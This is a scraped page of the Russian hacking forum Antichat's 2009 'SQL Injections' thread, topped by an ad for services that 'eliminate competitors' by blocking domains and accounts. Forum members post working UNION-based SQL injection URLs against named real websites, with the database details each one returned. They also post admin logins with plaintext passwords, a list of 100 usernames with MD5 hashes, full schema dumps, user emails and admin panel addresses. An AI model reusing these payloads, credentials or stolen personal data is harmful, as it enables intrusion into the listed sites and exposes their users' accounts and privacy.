Форум АНТИЧАТ - SQL Инъекции

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz

		Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
SQL Инъекции

Страница 851 из 1242

851

Опции темы

Поиск в этой теме

Опции просмотра

#8501

22.03.2009, 14:40

.:[melkiy]:.

Постоянный

Регистрация: 25.01.2009

Сообщений: 368

Провел на форуме:
5290740

Репутация: 912

Цитата:

http://www.mizangroup.jo/inner_links_en.php?id=-15+union+select+1,2,3,4,5,6,7,8,9,10--

Database Version: 5.0.67-community-log
Database name: mizangro_mizan
User name: mizangro_usermiz@localhost

Последний раз редактировалось .:[melkiy]:.; 22.03.2009 в 14:44..

#8502

22.03.2009, 15:44

~~farex~~

Banned

Регистрация: 11.03.2009

Сообщений: 214

Провел на форуме:
914766

Репутация: 317

Код:

]http://www.cdk.ru/event.php?id=-65'+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user()),6,7,8,9,10,11,12,13--+

Database Version: 4.1.20-log
Database name: web60_db1
User name: web60_u1@localhost

log :

pass: qwer123

#8503

22.03.2009, 17:01

Морок

Новичок

Регистрация: 06.03.2009

Сообщений: 5

Провел на форуме:
10850

Репутация: 16

http://www.sesame-ip.eu/public/educ_cruise.php?cruise=-1+union+select+1,2,3,4,concat_ws(0x3a3a,login,pwd, user()),6,7,8,9,10,11,12+from+login+limit+0,1/*

Походу таблица с админовскими регами, но линк к админке не нарылся.

#8504

22.03.2009, 17:36

~~F4R~~

Banned

Регистрация: 20.06.2008

Сообщений: 296

Провел на форуме:
1385078

Репутация: 126

Отправить сообщение для F4R с помощью ICQ

Код:

http://www.pokrishka.ru/discs_auto.html?model=-2500+union+select+1,concat_ws(0x3a,version(),database(),user()),3--

Database Version: 5.1.30-community
Database name: shina
User name: shina@localhost

админки тут я нашел 2
http://www.pokrishka.ru/admin.php
http://www.pokrishka.ru/partners/admin.php
из базы выудил 2 логин пароля
administrator:shina33
admin

okrishka33
подходит только второй логин:пасс во вторую админку...

Код:

http://www.autoshkola.com.ua/index.php?page=photo&lang=rus&idpr=37+union+select+1,concat_ws(0x3a,database(),version(),user()),3,4,5--

4.1.22-standard-log
autos_webmix
autos_webmix@localhost

Код:

http://yulis-ek.ru/inner.php?all_news&details=-4+union+select+1,2,3,4,5,6,7,8,9,0,1--

Database Version: 4.0.24_Debian-10sarge2-log
Database name: yulis-ek
User name: yulis-ek@localhost
вывод в title

Код:

http://www.shinexpress.ru/all_info.php?cat_info=3+union+select+1,2,3,concat_ws(0x3a,version(),database(),user()),5,6,7--

5.0.67-percona-b5-log:st176-web:st176-web@localhost

Код:

http://www.autoweek.com.ua/modules.php?op=modload&name=News&file=article&sid=-2108+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1--

4.1.22-log:autoweek:u_autoweek@localhost

Последний раз редактировалось jokester; 22.03.2009 в 18:54.. Причина: korova.ru autoexotica.ru БОЯНЫ

#8505

22.03.2009, 18:00

Driver

Познающий

Регистрация: 06.07.2006

Сообщений: 87

Провел на форуме:
464777

Репутация: 33

Код:

http://finnews.ru/exch_punkts.php?region=-1+UNION+SELECT+concat_ws(0x3a,login,passwd,fio,perm)+from+t_users+limit+5,1--&curr=USD

Database Version: 5.0.67-log
Database name: u13279
User name: u13279@10.10.223.209

#8506

22.03.2009, 20:04

Морок

Новичок

Регистрация: 06.03.2009

Сообщений: 5

Провел на форуме:
10850

Репутация: 16

http://www.consumer-education.eu/?f_cid=-1+union+select+1,2,3,4,5,6,7,8,concat_ws(0x3a3a,Lo ginName,LoginPass,Email),10,11,12,13,14+from+_tabU zivatele/*
Login:SuperAdmin
pass:ASAP

Выборка по админам.

http://www.consumer-education.eu/admin/ логинимся.....

#8507

22.03.2009, 20:19

.:[melkiy]:.

Постоянный

Регистрация: 25.01.2009

Сообщений: 368

Провел на форуме:
5290740

Репутация: 912

Цитата:

http://www.onespiritmartialarts.com/information.php?cat=news&id=-1+union+select+1,2,3,4,5,6--

Database Version: 5.0.21-standard
Database name: onespirit_db
User name: user_onespirit@localhost

Юзеры:

Код:

[1]betrayz:e664b4445ba17a97962ada2740a85043
[2]:tatesrey:955bfb24aa1f034b654741d0c5024f63
[3]:Fat_Mike:b06265e78e4b53ecf9b19b67e440b2b0
[4]:thaiking:b06265e78e4b53ecf9b19b67e440b2b0
[5]:HR_BILL:b06265e78e4b53ecf9b19b67e440b2b0
[6]:blkscorp:b06265e78e4b53ecf9b19b67e440b2b0
[7]:suntzuaow:b06265e78e4b53ecf9b19b67e440b2b0
[8]:Hillary:b06265e78e4b53ecf9b19b67e440b2b0
[9]:rocca_rocca:b06265e78e4b53ecf9b19b67e440b2b0
[10]:DaBears:b06265e78e4b53ecf9b19b67e440b2b0
[11]:Alex:b06265e78e4b53ecf9b19b67e440b2b0
[12]:Diane73:b06265e78e4b53ecf9b19b67e440b2b0
[13]:johnnyQB:b06265e78e4b53ecf9b19b67e440b2b0
[14]:RedBull99:b06265e78e4b53ecf9b19b67e440b2b0
[15]:garkaviud:94e05df963c698659302c13d73af2de9
[16]:Nickytime:b06265e78e4b53ecf9b19b67e440b2b0
[17]:niagara:e31da09a7e4fd35a379f53838adb323d
[18]:leeroy:bf779e0933a882808585d19455cd7937
[19]:fpetatertott:0e97a5f425cd8ec32f2b85919ac882ba
[20]:tatertott:fc8b24798df050b4a65787f17f800c17
[21]:TrevolHelper:2fea504f51f73d921131a701985dcd04
[22]:Johnny2Fist:b06265e78e4b53ecf9b19b67e440b2b0
[23]:mayor:f96f9912346f00aecc56420d1d074007
[24]:MainDadyFirst:98ec24a321731b08d39976fa06d77fff
[25]:RohanYaakov:12e515aa4500ddc17d67355943a89b50
[26]:Andy:1a08c859899ffdb654cf946b38b7dadc
[27]:Shawn:6f8af72e0a79429cd9b8d1546d90c0d4
[28]:guamymouttnen:789b809d87bde5c97b002ed7874f5600
[29]:Dennis:d16d03028a9d03d9098db9d2d5a695d4
[30]:pyratechick:9e79a6144aae0adae9a322265198fc68
[31]:Marat:e31da09a7e4fd35a379f53838adb323d
[32]:jumpkickjon:a6724eb2da65e96099386342fe4b6c77
[33]:CefgootoKeype:a008948daa6e7fa44c1d96c7e6056c0b
[34]:fanaticsep:5a1640ae50604d6b5e03adc1c2365cd6
[35]:gymnadvadia:5526c74704f1243f626db2848eb564ee
[36]:onlinepornrpon:4479842dd2b3220c85a95e9e2f323f2d
[37]:mazdacazda:bf16b9e58e38e3f90d647e42371c2c69
[38]:tenoenesq:5e26c2c2ba57bbe63b2940d695df164f
[39]:VTCHRISTIE:6036052f8c203d32cc680b5d71bc716f
[40]:fuckahmadenagad:fbbf0df68a1929f5878b794bbc290f8e
[41]:J_B:6d8e5be200a835beb77d899f00b890a5
[42]:James:053a88bf2912a032fe9ec0cf56d4e528
[43]:edmac:f06cb7b0c68c70678c6dc283afee4c76
[44]:brad:517c1fc74b014bf0419debad857e0583
[45]:Melanie:352ad5a293c7a1c38be28965ae5a1645
[46]:MonicaH:edccf286ccd738e8c4fc1ed56e10aced
[47]:bmaurer:1a6a1b6fd23a41cdc097526f09c877ad
[48]:Som:86ebb2f3a7a183cc8f7479bb0c52ccbd
[49]:tmessick73:55608d6a3a1c654be4d0d5f153d8e420
[50]:Chris:3106ad9a77f361f6fa4c6b591171f138
[51]:FranStarr:dbea94528f2cb5d5c5fcfdc4de7a8aa9
[52]:brianchang:acb80815e691b3ecc2a104a12fb5930e
[53]:philh3:a17430ca6bc4f30a7345ddff85819921
[54]:houdiepatootie:aafa81b88f53c4a6635bf2d4877df724
[55]:maria:3668fd5c877ae4f37c5138056cec13c3
[56]:techdragon:1671c6ae4eedf7fe0197935aecbbb400
[57]:chaichat:3fd002edc1741e97164d976c98f36998
[58]:kickin_booty:5f4dcc3b5aa765d61d8327deb882cf99
[59]:Rockin_Fist:5f4dcc3b5aa765d61d8327deb882cf99
[60]:BlkButterfly:2c0948930e1d10f9eff79787d8065dad
[61]:Fleeveloniero:e4296a5fecb89bd4ae507801fa3f71ec
[62]:HomaivaHick:45ffaa5a82c516fabe0932e2b55a5611
[63]:Heerpinee:e480435750dd9aadf9b2b8fde3ef4f3d
[64]:amummaomizaxy:aa85b79122a874b26e87cb769d40bf85
[65]:astendina:f60c8f4363374dc48cb182ae225ebd87
[66]:cedaBaina:0b9f4cac06360b1629f09eaf5f4623ac
[67]:Moinnytancy:74794f4521dbcfc51f447c19dc9dadfe
[68]:Lindmannnn:76b4497543fb53b48d3634026a4e6be9
[69]:kastarz:b863cf827d52590568872d8490a1f932
[70]:TeesBimb:8ac25f3f2d77816d50d692027be48fb9
[71]:Amoufffic:8ac25f3f2d77816d50d692027be48fb9
[72]:EMAIDLICDYDAY:0f2e3eb482a73487e9e6b46976a8ded8
[73]:DixBarappoida:be12b41915d98d60210451518730b9b3
[74]:Hajemipem:d174d702ef805627f5f079445990ca61
[75]:lienoureobelF:b769cf9c4c7728e0d12200a2029e7cdb
[76]:JohnVK:7ccd8f39aeed5558e62bdc1aa928b7dd
[77]:suiclewew:128421cfae1425c3a7b56dfd5ea40e94
[78]:shumomifan:412c72738d1f15f20c05224f4f1c70ba
[79]:Vahid:dc855c92329ffba92c608cd6d3b900c5
[80]:mherring:c6e83965fedb97e17664cf3bc6171235
[81]:YOChristopher:12d20a36a68eaf350c68b3e45ba1a886
[82]:SteveT:49d22931473fb7214f64804e09aae3de
[83]:McStivenLou:b0c9cd72a019a6617c9a8d134d2c0cf7
[84]:JRockwell:0c83279e6e0c24896825ac459435f623
[85]:Webwhiteman:dae457420fde145e136a473a31647651
[86]:maxfreemann:2d16a2e9d88a11a53fbe5048da9c3f95
[87]:ISeduction:3a824c5972104d8529462ed8117f5c7a
[88]:LararoGO:264b12ae604642520e73317bfd2a17d6
[89]:Ferafloalf:c3b69388b313e571fe008b3ae6eff2ac
[90]:sdriseeo:acd6453580b959ec3ca4fa659a74668a
[91]:stjhonecity:04cb23d2ed99f48531d335cf0bb4ad21
[92]:ScottAL:79bd522ea6c2a26ad7f60a72ed516175
[93]:PWRichard:4a06a98757f1634a4937cd688a87dd76
[94]:LFJohn:f9dc535fdfb997db20f1aed51c738ea7
[95]:AntonPotaPo:9007a657330e4241bc2fdc00b11d0c9f
[96]:mstobil:eb15061b2a7c148d8463403731f526ff
[97]:SendrikBlack:a762072f07ff345b334d29b002190907
[98]:ESLuis:98bc69e0950bfdaf3d6abbcb67eb9ea1
[99]:refeywal:ab85b7a32f05f684962a03bb4ab562b9
[100]:Elizabetrt:7f710ef317f86070a1c2874dca433f87

#8508

22.03.2009, 20:33

~~F4R~~

Banned

Регистрация: 20.06.2008

Сообщений: 296

Провел на форуме:
1385078

Репутация: 126

САЙТ Гор. Харькова

Цитата:

http://www.kharkov.ua/industry/dblist.phtml?prom=-33+union+select+1,2,3,4,concat_ws(0x3a,version(),d atabase(),user()),6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1, 2,3,4,5,6,7,8,9,0,1--

4.0.26-logoiskoisk@localhost

#8509

22.03.2009, 22:47

~~faza02~~

Banned

Регистрация: 21.11.2007

Сообщений: 181

Провел на форуме:
1066435

Репутация: 1013

_http://www.regentherapy.com/back.php?id=-58'+union+select+1,2,version(),4,5,6,7/*
4.1.22-standard

#8510

23.03.2009, 00:02

~~F4R~~

Banned

Регистрация: 20.06.2008

Сообщений: 296

Провел на форуме:
1385078

Репутация: 126

САМАРА Сегодня

http://www.samaratoday.ru/news.php?id=-166793+union+select+1,2,3,4,5,concat_ws(0x3a,versi on(),database(),user()),7,8,9,0,1,2,3,4,5,6,7--

Database Version: 5.0.45
Database name: samaratoda_news
User name: samaratoda_news@localhost

Код:

16 :In database information_schema found table USER_PRIVILEGES
   1 :   GRANTEE
   2 :   TABLE_CATALOG
   3 :   PRIVILEGE_TYPE
   4 :   IS_GRANTABLE
17 :In database information_schema found table VIEWS
   1 :   TABLE_CATALOG
   2 :   TABLE_SCHEMA
   3 :   TABLE_NAME
   4 :   VIEW_DEFINITION
   5 :   CHECK_OPTION
   6 :   IS_UPDATABLE
   7 :   DEFINER
   8 :   SECURITY_TYPE
18 :In database samaratoda_news found table authors
   1 :   idAuthor
   2 :   nameAuthor
   3 :   orgNameAuthor
   4 :   emailAuthor
19 :In database samaratoda_news found table comment
   1 :   idComment
   2 :   idNewsComment
   3 :   dateComment
   4 :   nickComment
   5 :   textComment
   6 :   emailComment
   7 :   ipComment
20 :In database samaratoda_news found table confirm
   1 :   idConfirm
   2 :   dateExpirate
   3 :   random
   4 :   idUser
21 :In database samaratoda_news found table groups
   1 :   groupid
   2 :   groupname
22 :In database samaratoda_news found table grouptouser
   1 :   grouptouserid
   2 :   userid
   3 :   groupid
23 :In database samaratoda_news found table indexDayCache
   1 :   cacheIndex
   2 :   idNews
   3 :   dateNews
   4 :   headNews
24 :In database samaratoda_news found table links
   1 :   idLink
   2 :   nameLink
   3 :   urlLink
   4 :   idRubLink
   5 :   idTopicLink
   6 :   exportFlagLink
25 :In database samaratoda_news found table login_jour
   1 :   idLogin
   2 :   dateLogin
   3 :   ipLogin
   4 :   idUserLogin
26 :In database samaratoda_news found table mylog
   1 :   Id
   2 :   log_time
   3 :   logtext
27 :In database samaratoda_news found table news
   1 :   idNews
   2 :   dateNews
   3 :   idRubNews
   4 :   idAuthorNews
   5 :   idPhotographerNews
   6 :   headNews
   7 :   lidNews
   8 :   bodyNews
   9 :   sourceNews
   10 :   priorAttrNews
   11 :   urlSourceNews
   12 :   titleImgNews
   13 :   showAnnonceNews
   14 :   textAnnonceNews
   15 :   autoDayNews
   16 :   urlOrigNews
   17 :   urlCitNews
28 :In database samaratoda_news found table news2006
   1 :   idNews
   2 :   dateNews
   3 :   idRubNews
   4 :   idAuthorNews
   5 :   idPhotographerNews
   6 :   headNews
   7 :   lidNews
   8 :   bodyNews
   9 :   sourceNews
   10 :   priorAttrNews
   11 :   urlSourceNews
   12 :   titleImgNews
   13 :   showAnnonceNews
   14 :   textAnnonceNews
   15 :   autoDayNews
29 :In database samaratoda_news found table news_arch
   1 :   idNews
   2 :   dateNews
   3 :   idRubNews
   4 :   idAuthorNews
   5 :   idPhotographerNews
   6 :   headNews
   7 :   lidNews
   8 :   bodyNews
   9 :   sourceNews
   10 :   priorAttrNews
   11 :   urlSourceNews
   12 :   titleImgNews
   13 :   showAnnonceNews
   14 :   textAnnonceNews
   15 :   autoDayNews
   16 :   urlOrigNews
   17 :   urlCitNews
30 :In database samaratoda_news found table news_cache
   1 :   cacheIndex
   2 :   idNews
   3 :   dateNews
   4 :   idRubNews
   5 :   idAuthorNews
   6 :   idPhotographerNews
   7 :   headNews
   8 :   lidNews
   9 :   bodyNews
   10 :   sourceNews
   11 :   priorAttrNews
   12 :   urlSourceNews
   13 :   titleImgNews
   14 :   showAnnonceNews
   15 :   textAnnonceNews
   16 :   autoDayNews
31 :In database samaratoda_news found table news_log
   1 :   idLog
   2 :   idNews
   3 :   dateNews
   4 :   idRubNews
   5 :   idAuthorNews
   6 :   idPhotographerNews
   7 :   headNews
   8 :   lidNews
   9 :   bodyNews
   10 :   sourceNews
   11 :   priorAttrNews
   12 :   urlSourceNews
   13 :   titleImgNews
   14 :   showAnnonceNews
   15 :   textAnnonceNews
   16 :   autoDayNews
   17 :   userId
   18 :   date_zapros
   19 :   zapros
   20 :   urlOrigNews
   21 :   urlCitNews
32 :In database samaratoda_news found table news_topics
   1 :   idNews_Topic
   2 :   idNews
   3 :   idTopic
33 :In database samaratoda_news found table news_users
   1 :   idNews_User
   2 :   idNews
   3 :   idUser
34 :In database samaratoda_news found table photographers
   1 :   idPhotographer
   2 :   namePhotographer
   3 :   orgNamePhotographer
35 :In database samaratoda_news found table rubrics
   1 :   idRubric
   2 :   nameRubric
   3 :   lidRubric
   4 :   sortIdRubric
36 :In database samaratoda_news found table seqid
   1 :   idSeq
   2 :   dummy
37 :In database samaratoda_news found table seqid_t
   1 :   idSeq
   2 :   dummy
38 :In database samaratoda_news found table subscr_users
   1 :   userid
   2 :   username
   3 :   passwrd
   4 :   email
   5 :   firstname
   6 :   lastname
   7 :   middlename
   8 :   countryid
   9 :   state
   10 :   city
   11 :   zip
   12 :   address
   13 :   phone
   14 :   cellphone
   15 :   pgrphone
   16 :   pgrnumber
39 :In database samaratoda_news found table subscribe
   1 :   subscribeId
   2 :   created
   3 :   subscribeName
   4 :   subscribePeriod
   5 :   userId
   6 :   confirm
40 :In database samaratoda_news found table topics
   1 :   idTopic
   2 :   nameTopic
   3 :   actualAttrTopic
41 :In database samaratoda_news found table update_status
   1 :   id_update_status
   2 :   update_time
   3 :   update_finished
42 :In database samaratoda_news found table user_rubric
   1 :   idUser_rubric
   2 :   idUser
   3 :   idRubric
43 :In database samaratoda_news found table users
   1 :   userid
   2 :   username
   3 :   passwrd
   4 :   email
   5 :   firstname
   6 :   lastname
   7 :   middlename
   8 :   countryid
   9 :   state
   10 :   city
   11 :   zip
   12 :   address
   13 :   phone
   14 :   cellphone
   15 :   pgrphone
   16 :   pgrnumber

в табличку USERS тока 2 записи:
[1]:1:Светлана:111111:svgor@bk.ru
[2]:2:Alex:8e956352ad5b3a54076586b4f612b601:balex42@g mail.com

второй хэш не осилил)

Последний раз редактировалось jokester; 23.03.2009 в 00:32..

Страница 851 из 1242

851

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая	k00p3r	Чужие Статьи	0	13.06.2005 11:26
SQL инъекция и Oracle, часть 2	k00p3r	Чужие Статьи	0	13.06.2005 11:24
Sql инъекция и Oracle, часть первая	k00p3r	Чужие Статьи	0	13.06.2005 11:23
Внедрение Sql кода с завязанными глазами	k00p3r	Чужие Статьи	0	12.06.2005 20:48
SQL Injection в Oracle	k00p3r	Чужие Статьи	0	12.06.2005 12:41

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход